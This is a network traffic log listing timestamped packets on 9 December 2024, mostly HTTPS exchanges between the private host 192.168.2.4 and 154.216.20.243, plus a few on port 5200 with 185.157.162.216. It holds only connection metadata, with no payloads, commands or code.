Dec 9, 2024 07:37:31.540838003 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.540852070 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.540908098 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.540915966 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.540951967 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.548010111 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.548024893 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.548077106 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.548084021 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.548125029 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.555839062 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.555852890 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.555916071 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.555923939 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.555965900 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.614061117 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.614078045 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.614140987 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.614149094 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.614185095 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.614206076 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.618774891 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.618792057 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.618844032 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.618860006 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.618892908 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.626620054 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.626635075 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.626702070 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.626717091 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.626763105 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.630769968 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.630785942 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.630844116 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.630851030 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.630902052 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.645113945 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.645129919 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.645183086 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.645190954 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.645234108 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.659748077 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.659765005 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.659945011 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.659953117 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.659995079 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.671904087 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.671921015 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.671982050 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.671996117 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.672039986 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.682300091 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.682315111 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.682383060 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.682390928 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.682427883 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.709960938 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.709985018 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.710154057 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.710171938 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.710217953 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.715845108 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.715859890 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.715923071 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.715930939 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.715974092 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.719746113 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.719769001 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.719809055 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.719821930 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.719842911 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.719861984 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.722610950 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.722625971 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.722683907 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.722691059 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.722724915 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.729394913 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.729409933 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.729492903 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.729500055 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.729542971 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.735667944 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.735683918 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.735744953 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.735753059 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.735793114 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.742376089 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.742396116 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.742450953 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.742461920 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.742500067 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.799034119 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.799052000 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.799148083 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.799163103 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.799205065 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.808254004 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.808270931 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.808362961 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.808382034 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.808439016 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.811089039 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.811105013 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.811181068 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.811194897 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.811242104 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.815860987 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.815879107 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.815948009 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.815956116 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.815995932 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.817045927 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.817060947 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.817122936 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.817133904 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.817173004 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.824718952 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.824737072 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.824811935 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.824819088 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.824861050 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.833456993 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.833472967 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.833553076 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.833560944 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.833616018 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.841718912 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.841736078 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.841810942 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.841818094 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.841860056 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.851515055 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:31.882178068 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:31.882689953 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.903743982 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.903768063 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.903879881 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.903908014 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.903954983 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.904970884 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.904990911 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.905031919 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.905040979 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.905067921 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.905082941 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.907835960 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.907852888 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.907897949 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.907905102 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.907936096 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.907948971 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.913861036 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.913877010 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.913952112 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.913959026 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.914002895 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.914208889 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.914225101 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.914263010 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.914272070 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.914297104 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.914314985 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.920581102 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.920597076 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.920672894 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.920680046 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.920716047 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.926600933 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.926618099 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.926687002 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.926692963 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.926729918 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.932527065 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.932543039 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.932599068 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.932607889 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.932636976 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.932650089 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.934462070 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.990308046 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.990334034 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.990380049 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.990392923 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.990422010 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.990434885 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.997200966 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.997216940 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.997265100 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.997272968 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:31.997302055 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:31.997315884 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.001384974 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:32.002748966 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.002765894 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.002814054 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.002831936 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.002846003 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.002868891 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.004054070 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.004070997 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.004106998 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.004112959 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.004137039 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.004156113 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.009134054 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.009152889 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.009200096 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.009217978 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.009227991 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.009253025 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.010144949 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.010160923 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.010196924 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.010204077 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.010214090 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.010238886 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.017438889 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.017455101 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.017508984 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.017518044 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.017559052 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.023499966 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.023523092 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.023556948 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.023564100 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.023590088 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.023607969 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.093588114 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.093605995 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.093677044 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.093693018 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.093734980 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.096560955 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.096577883 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.096628904 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.096638918 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.096663952 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.096682072 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.099867105 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.099883080 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.099965096 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.099973917 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.100012064 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.102272034 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.102292061 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.102328062 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.102334023 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.102360010 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.102375031 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.106111050 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.106127977 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.106187105 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.106198072 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.106235027 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.111699104 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.111725092 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.111763954 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.111772060 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.111798048 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.111813068 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.118443012 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.118458986 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.118494034 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.118504047 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.118529081 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.118540049 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.123819113 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.123835087 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.123892069 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.123900890 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.123939991 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.182193995 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.182220936 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.182272911 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.182297945 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.182331085 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.182356119 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.187747002 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.187762976 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.187810898 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.187819004 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.187863111 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.193340063 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.193356991 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.193417072 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.193424940 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.193466902 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.195043087 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.195066929 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.195168972 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.195180893 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.195219994 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.199419022 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.199434996 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.199476957 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.199482918 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.199510098 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.199523926 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.200618982 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.200634003 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.200675964 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.200685024 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.200709105 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.200721979 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.204627991 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.204654932 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.204709053 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.204715967 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.204747915 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.204766989 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.209722042 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.209739923 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.209791899 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.209800959 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.209844112 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.286175966 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.286206961 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.286274910 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.286290884 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.286330938 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.288837910 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.288856983 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.288907051 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.288922071 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.288944960 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.288952112 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.291640043 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.291655064 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.291711092 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.291719913 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.291757107 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.297023058 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.297044039 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.297085047 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.297100067 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.297111988 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.297138929 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.298847914 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.298870087 CET	443	49738	154.216.20.243	192.168.2.4
